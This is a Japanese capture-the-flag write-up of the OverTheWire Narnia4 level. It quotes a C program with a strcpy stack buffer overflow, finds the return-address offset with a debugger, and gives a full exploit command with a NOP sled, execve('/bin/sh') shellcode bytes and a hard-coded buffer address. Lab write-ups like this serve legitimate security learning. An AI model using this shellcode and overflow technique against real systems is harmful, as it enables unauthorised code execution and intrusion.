OverTheWire:Narnia4
narnia4 で ssh 接続。
ssh narnia4@narnia.labs.overthewire.org -p 2226
今回のお題(narnia4.c )はこちら。
環境変数を全てクリアした後、起動時の引数を buffer[256]にコピーする、というプログラム。
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
strcpy() で引数の内容を無条件に bufferにコピーするため、バッファオーバーフローの脆弱性がある。順番に試してみると、buffer に 264バイト入力するとプログラムの制御を奪うことができそうだ。
デバッガで確認してみよう。
引数に 「"A"×264文字 + "BBBB"」を入力して起動すると、プログラムは "0x42424242" 番地を参照しようとしてエラー終了した。
"B" は 0x42 である。
つまり「"A"×264文字 + "制御を移したいアドレス"」を buffer に注入すれば任意の場所へ制御を移すことができることになる。
問題は「どのアドレスに制御を移すか?」である。
このプログラムは環境変数を全てクリアしてしまうため、これまでのように環境変数 EGGにシェルコードを書いて、、、というわけにはいかない。
そこで今回は buffer にシェルコードを書き込み、「bufferのアドレス」に制御を移すことを考える。 bufferは 256バイトもあるのでシェルコードを書くには充分すぎる大きさだ。
bufferのアドレスを調べるには、デバッガを使って適当なところにブレークポイントを置き、メモリを眺めてみれば良い。
まずはブレークポイントのアドレスを探すため、デバッガで逆アセンブルしてプログラムを眺めてみる。
strcpy() には bufferのアドレスが渡されているハズなので、このアドレス(0x0804851f)にブレークポイントを置き、"A"を大量に入力して実行。
strcpy()の引数はスタックに積まれる。
スタックポインタ($esp)のアドレスを順に見ていくと 0xffffd87c に 最初に入力したデータ "0x41" ( "A" ) が並んでいることが判った。
つまり、bufferのアドレスは 0xffffd87c であることが判った。
あとは buffer に注入する文字列を作成すれば良い。
これまで調べた結果をまとめると注入する文字列は以下のようになる。
NOP (240バイト) + シェルコード(24バイト) + 4バイト(bufferのアドレス)
これをコマンドにすると以下のようになる。
<コマンド>
/narnia/narnia4 $(perl -e 'print "\x90"x240 . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" . "\x7c\xd8\xff\xff"' )
ということで上記のコマンドを実行。
想定通り、シェルが起動でき、パスワードが判明した。
というわけで、次のステージ(narnia5)ヘ。。